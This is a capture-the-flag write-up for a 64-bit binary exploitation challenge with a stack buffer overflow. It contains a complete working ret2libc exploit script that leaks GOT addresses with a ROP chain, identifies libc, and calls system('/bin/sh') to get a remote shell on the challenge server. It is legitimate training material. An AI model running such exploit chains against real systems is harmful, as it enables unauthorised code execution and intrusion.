# dROPit [300]You're on your own this time. Can you get a shell?
`nc challenges.ctfd.io 30261`
-asphyxia
Hint: https://libc.rip
Files: `dropit`
### This challenge was done rapidly with [`pwnscripts`](https://github.com/152334H/pwnscripts). Try it!## The file```[*] '/dropit'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)``````cint main() {  char s[0x30]; // [rsp+0h] [rbp-30h]  setvbuf(_bss_start, 0, 2, 0);  puts("?");  fgets(s, 0x64, stdin); //overflow}```That's it. A BOF of `0x64-0x38 == 44` characters. There's basically nothing else inside the binary itself, so what we have to do is1. Leak out the libc base & version. We'll do this by  * overflowing with a padding of 0x38,  * using ROP to set RDI to (one of) the functions on the GOT (these addresses are hardcoded at `0x403FB0`+ due to `No PIE`)   * jumping to `puts()` on the `.plt` section to print the value at RDI (which is a libc address)  * passing this information to the [`libc-database`](https://github.com/niklasb/libc-database) to identify the libc version & libc base  * as per usual, this can be prototyped extremely quickly with [`pwnscripts`](https://github.com/152334H/pwnscripts)2. get a shell from libc. This is done with the pop RDI gadget from earlier && returning to libc's `system()` function.
```pythonfrom pwnscripts import *context.binary = 'dropit'context.libc_database = 'libc-database'GOT_FUNCS = list(context.binary.got.keys())[-3:]r = remote('challenges.ctfd.io', 30261)
def resolve_GOT(f: str) -> bytes:    '''get the libc address of GOT function f'''    R = ROP(context.binary)    R.raw(0x38*b'a')    R.puts(context.binary.got[f])    R.main()    r.sendlineafter('?\n', R.chain())    return unpack_bytes(r.recvline(),6)
libc_dict = dict((f,resolve_GOT(f)) for f in GOT_FUNCS)context.libc = context.libc_database.libc_find(libc_dict)
R = ROP(context.libc)R.raw(0x38*b'a')R.raw(R.ret.address)R.system(context.libc.symbols['str_bin_sh'])r.sendlineafter('?\n', R.chain())r.interactive()```Note that a `ret` gadget has to be added before the `system()` call to prevent a crash on `movaps`. See the Common Pitfalls section [here](https://ropemporium.com/guide.html)